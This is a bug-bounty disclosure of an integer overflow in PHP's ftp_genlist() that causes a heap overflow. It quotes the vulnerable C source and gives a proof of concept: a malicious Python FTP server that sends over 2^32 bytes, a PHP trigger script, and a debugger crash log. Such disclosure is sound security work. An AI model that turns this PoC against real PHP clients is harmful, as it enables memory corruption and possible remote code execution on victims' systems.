Integer overflow in ftp_genlist() resulting in heap overflow

Disclosed: 2015-05-12 00:00:00 By ruben To ibb
Unknown
Vulnerability Details
https://bugs.php.net/bug.php?id=69545 Description: ------------ The ftp_genlist() function of the ftp extension is prone to an integer overflow, which may result in remote code execution. ``` ext/ftp/ftp.c:ftp_genlist(...) 1826 size = 0; 1827 lines = 0; 1828 lastch = 0; 1829 while ((rcvd = my_recv(ftp, data->fd, data->buf, FTP_BUFSIZE))) { 1830 if (rcvd == -1) { 1831 goto bail; 1832 } 1833 1834 php_stream_write(tmpstream, data->buf, rcvd); 1835 1836 size += rcvd; 1837 for (ptr = data->buf; rcvd; rcvd--, ptr++) { 1838 if (*ptr == '\n' && lastch == '\r') { 1839 lines++; // [0] 1840 } else { 1841 size++; // [1] 1842 } 1843 lastch = *ptr; 1844 } 1845 } ``` In the above loop `size' or `lines' may overflow (at [0] respectively [1]). This requires sending more than 2^32 bytes, which will be stored in a tempfile. ``` 1851 ret = safe_emalloc((lines + 1), sizeof(char*), size); // [2] 1852 1853 entry = ret; 1854 text = (char*) (ret + lines + 1); 1855 *entry = text; 1856 lastch = 0; 1857 while ((ch = php_stream_getc(tmpstream)) != EOF) { 1858 if (ch == '\n' && lastch == '\r') { 1859 *(text - 1) = 0; 1860 *++entry = text; 1861 } else { 1862 *text++ = ch; // [3] 1863 } 1864 lastch = ch; 1865 } 1866 *entry = NULL; ``` This results in the allocated buffer at [2] being to small to hold the data written to the tempfile, which results in a heap overflow at [3] when loading the contents of the tempfile back into memory. These kind of bugs are well-known to be exploitable and since php_stream_getc uses structs located on the heap, which may be overwritten, I think that this bug can be leveraged to attain remote code execution. Regards, Max Spelsberg ``` malicious_server.py =================== #!/usr/bin/env python2 # coding: utf-8 # based on https://gist.github.com/scturtle/1035886 import os,socket,threading,time allow_delete = False local_ip = "localhost" local_port = 8887 currdir=os.path.abspath('.') class FTPserverThread(threading.Thread): def __init__(self,(conn,addr)): self.conn=conn self.addr=addr self.basewd=currdir self.cwd=self.basewd self.rest=False self.pasv_mode=False threading.Thread.__init__(self) def run(self): self.conn.send('220 Welcome!\r\n') while True: cmd=self.conn.recv(256) if not cmd: break else: print 'Recieved:',cmd try: func=getattr(self,cmd[:4].strip().upper()) func(cmd) except Exception,e: print 'ERROR:',e #traceback.print_exc() self.conn.send('500 Sorry.\r\n') self.conn.close() def TYPE(self,cmd): self.mode=cmd[5] self.conn.send('200 Binary mode.\r\n') def PASV(self,cmd): # from http://goo.gl/3if2U self.pasv_mode = True self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) self.servsock.bind((local_ip,0)) self.servsock.listen(1) ip, port = self.servsock.getsockname() print 'open', ip, port self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' % (','.join(ip.split('.')), port>>8&0xFF, port&0xFF)) def start_datasock(self): if self.pasv_mode: self.datasock, addr = self.servsock.accept() print 'connect:', addr else: self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) self.datasock.connect((self.dataAddr,self.dataPort)) def stop_datasock(self): self.datasock.close() if self.pasv_mode: self.servsock.close() # THIS is the interesting part def LIST(self,cmd): self.conn.send('150 Here comes the directory listing.\r\n') print 'list:', self.cwd self.start_datasock() # send 2^32 + 1 bytes of data for i in xrange(262144): if i % 10000 == 0: print "%d" % i self.datasock.send("B"*16384) self.datasock.send("A\r\n") self.stop_datasock() self.conn.send('226 Directory send OK.\r\n') class FTPserver(threading.Thread): def __init__(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.bind((local_ip,local_port)) threading.Thread.__init__(self) def run(self): self.sock.listen(5) while True: th=FTPserverThread(self.sock.accept()) th.daemon=True th.start() def stop(self): self.sock.close() if __name__=='__main__': ftp=FTPserver() ftp.daemon=True ftp.start() print 'On', local_ip, ':', local_port raw_input('Enter to end...\n') ftp.stop() ``` ``` buggy.php ========= <?php $id = ftp_connect("localhost", 8887); ftp_pasv($id, TRUE); var_dump(ftp_rawlist($id, "/")); ?> ``` ``` Result ====== (lldb) r ./buggy.php Process 54712 launched: '/usr/bin/php' (x86_64) Process 54712 stopped * thread #1: tid = 0x204e9, 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1024243de) frame #0: 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown: -> 0x7fff86503056 <+182>: movb (%rsi,%r8), %cl 0x7fff8650305a <+186>: movb %cl, (%rdi,%r8) 0x7fff8650305e <+190>: subq $0x1, %rdx 0x7fff86503062 <+194>: je 0x7fff86503078 ; <+216> (lldb) register read rsi rsi = 0x00000001024243de (lldb) bt * thread #1: tid = 0x204e9, 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1024243de) * frame #0: 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182 frame #1: 0x000000010031b2c7 php`_php_stream_read + 81 frame #2: 0x000000010031b8a1 php`_php_stream_getc + 22 frame #3: 0x000000010010ec3a php`___lldb_unnamed_function2574$$php + 614 frame #4: 0x000000010010c21c php`___lldb_unnamed_function2530$$php + 118 frame #5: 0x00000001003cb2af php`___lldb_unnamed_function9391$$php + 1752 frame #6: 0x00000001003813b0 php`execute_ex + 79 frame #7: 0x000000010035d592 php`zend_execute_scripts + 482 frame #8: 0x0000000100308897 php`php_execute_script + 684 frame #9: 0x00000001003edce0 php`___lldb_unnamed_function9505$$php + 4653 frame #10: 0x00000001003ec93c php`___lldb_unnamed_function9503$$php + 1408 frame #11: 0x00007fff8cb8d5c9 libdyld.dylib`start + 1 (lldb) ``` [Note that the first three bytes (42, 43, de) of rsi have been overwritten!]
Actions
View on HackerOne
Report Stats
  • Report ID: 73240
  • State: Closed
  • Substate: resolved
  • Upvotes: 1
Share this report